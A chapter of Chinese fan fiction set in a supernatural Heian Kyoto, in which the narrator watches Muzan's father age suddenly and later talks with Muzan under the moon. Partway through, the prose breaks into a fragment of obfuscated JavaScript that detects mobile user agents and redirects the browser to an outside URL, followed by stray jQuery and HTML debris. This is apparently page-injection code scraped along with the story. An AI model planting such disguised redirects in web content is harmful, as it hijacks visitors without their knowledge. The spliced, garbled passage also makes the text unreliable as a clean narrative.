无惨的双眼紧紧地皱起,他的眉头越挤越高,示意着他的某种情绪正在山峰上攀登。 “我难道还差这一件衣服吗?” 无惨从我手中夺走那件外衫,揉作一团后扔到了大街上。至于它的未来是如何……说不定会在衣店里走个来回。 还有一个未提及的重要人物。 “你见到你父亲了吗?” 提起这个,无惨脸上的表情就转为了嫌弃。他遮着头,好像提到这个就令他头痛似的。 “估计等会儿会回来吧。” 回到府中后,大约过了半个时辰,这座宅子真正的主人终于归来了。 贺茂真家,这还是我头一次见到他。 与之视线相交的第一秒钟,我就忍不住去思考,他和道子夫人间的年龄差距的也太大了。 无惨的父亲看起来已有五六十岁,苍白的头发里夹杂着一些黑发。道子夫人呢,估计也就三十出头,仍然青春美貌。 年老的丈夫,女官的妻子,还有脆弱的他—— “想什么呢!” 我的后脑勺被人来了这么一下,不用回头都知道是谁出的手。 无惨已经重新洗漱过了,换了一身黑底的直衣。他正要去见当家,否则衣着还会再简单些。 我有些心虚,下意识转移了视线,“好的噢。” “好的什么好的——算了,懒得跟你说话。” 趁着他们父子团聚的功夫,我恶补了一下贺茂家目前的关系。 贺茂真家是贺茂保胤兄弟家的儿子,而贺茂保胤则是晴明的师傅——贺茂忠行的次子,他并没有选择做一名阴阳师,而是出家当了和尚。 其实这么算来也很奇怪,我都不知道晴明在其中担任了一个怎样的角色。我只能把这归结于这里是具有超现实意义的平安京。 如今这个时代,贺茂是阴阳师的宗家,阴阳道的荣光停留在这个家族,以至于贺茂出身的阴阳师,大多数都受到了天皇的重用。 只要是有些本领的。 父子俩的谈话似乎很不愉快,就他那副嘴脸,我估计没有多少人能高高兴兴的从一场聊天下回来。 “你父亲今年贵庚哪。”问候老年人,我努力选了一个较为庄重的词。 对方的年龄一个字一个字的从无惨嘴巴里往外蹦。 “三十五岁。” 噢,三十五岁。我干巴巴地回应:“你父亲看起来真成熟。” 成熟到看起来都可以当我爷爷了。 无惨哑口无语,他摆了摆手,让我去干点别的,别在他面前污染他的耳朵。 我想了想,决定去找阿鱼。我与阿鱼已经有一月未见了,自从她换了工作,整个人就变得特别忙碌。我上一次见到她的时候,她整个人黑了不少,也不知道在太阳底下晒了多久。 不过见她心情不错,皮肤颜色这种小事情也就显得无关紧要了。 阿鱼所在的渔场位于河原町,在中央的外部,到达那里要花上很多时间。我一路跑过去,也花了一个小时的样子。 渔场很是空荡,平日里工人应当是很多的才对。 我之前来过渔场数次,和这里的人也混了个脸熟,于是我便直接了当的问起人家阿鱼在何处。 “七日之前,她和其他人去谈生意去了。” “那什么时候会回来呢?” 帮佣摇了摇头,“谁知道呢,办完事就回来了。” 来了趟空,我顺便在附近吃了饭再回去。一小碟咸鱼,腌得有些太咸了。 就着咸鱼下了一碗饭,我才打道回府。 荣子告诉我,白日里宫中的御医来过了,是天皇派来整治贺茂真家的。我才了解到,原来无惨的父亲并不是天生长得老,他是在一个月内突然老了几十岁。 御医来了一段时间就离开了,说是没能找到病因,只配了几方补药让他先吃着。 我已经弄清楚这边治病的流程了,先看医生,其次是阴阳师,最后就是请巫女或者僧侣为病人祈福。 不过贺茂真家本身就是阴阳师,还需要走这个流程吗? 府上大小两位主人都病着,氛围变得冷冷寂寂的,怎么都算不着好。 无惨对他父亲的“病”很是悲观,他是真希望对方早点死了把家产继承给自己。 不知道我父母是怎么样的人,我们之间的关系应该不会沦落至此吧。 贺茂真家回来了,但我的生活并没有因此而改变。御医后来又来了两趟,但依然没什么起效。府中的巫女现在不仅要给无惨祈福,还要给家主祈福,我从早到晚都看不到她们的身影。 御医推荐了自己的一名师兄来代替他为家主诊治。 “虽然不与我一样在宫中当值,但往常,我师兄他做的一直比我好些。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11559576|122877||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 御医推荐的医师,长着一张心地善良的脸。他颧骨很高,通常来说颧骨高的人总是带着些刻薄,但这位医师却让人感到“温馨”。 医师的名字叫做“平田”,没有姓氏,他救治过各种各样的人,上至一品贵族,下至平民百姓。 无惨说他要看看这医师是如何治人的,我便也跟随着他来到贺茂真家床旁。 平田医师微微笑着,很是宽和,他问起无惨父亲这不对劲是什么时候开始的,有什么特别多反应。又问他吃了什么,喝了什么我。 当问到食物的时候,我分明发觉贺茂真家有一瞬间的高度紧张,但他依然回答医师说:什么都没有。 他在说谎。 事后,我将这回事告诉了无惨,他嗤笑了一声,“那老东西肯定偷偷吃了什么,这下出意外了吧。” 无惨的嘴,真是我见过的最毒的嘴巴,没有之一。 “其实我还觉得有些奇怪。”联合近一年来所发生的事情,我发现我身边发生的种种,都与“生命”有关。 无惨扯了扯嘴巴,“你可真聪明。” 他的情绪看起来有些不对。 …… 无惨对我来说,就是孤儿院里孩子的放大版本。他们的情绪总是上上下下,过山车一般的令人捉摸不透。 但是时间教会了我很多。 这一天晚上,屋中的烛火摇曳在纸门上,但房间的主人却在外面。 绿叶簇拥着粉色的花团,长廊上的藤萝花也开了。这两种颜色的反差太大了,有些扎人眼球。 因为夜色已深,我没把鞋穿上,但光脚踩在木板上的声音,反而比穿了鞋更吵。 这种吵闹立马惊到了在廊下“赏月”的某人,无惨对我怒目而视。 我抱歉地放轻脚步,那慢吞吞的步伐反而让人更加心烦了。 “对不起。” 做了错事就得及时道歉。 无惨依然放空眼神,望着天上。 “月亮真圆啊。”都说圆月会让人生出思乡之情,我也有些想念我的家了。也不知道家里过去了多少时间,希望自己还没有被列入失踪名单。 无惨很安静,抛去那些刻薄的言语,那些高高在上的表情,他孱弱瘦小的身体,前途未卜的命运,就像是一曲没有歌词的孤独的音乐。 我静静地看着他,水池中新放的鱼儿自由自在地游动着。 月亮照得他的脸更是苍白如同纸片,没有丝毫的血色。 “其实……” 我竖起了耳朵,注视着他的眼睛。 像是在阐述一个虚无缥缈的梦一样,他说起我们第二次见面时的事情。 我在宿傩于郊外的府邸附近,遇见了落入水池中的无惨。那里离京都本家有一段距离,我一直不明白他为什么会出现在那里,而且没有带上任何随从。 现在,我终于知道了。 原来他也在找人鱼。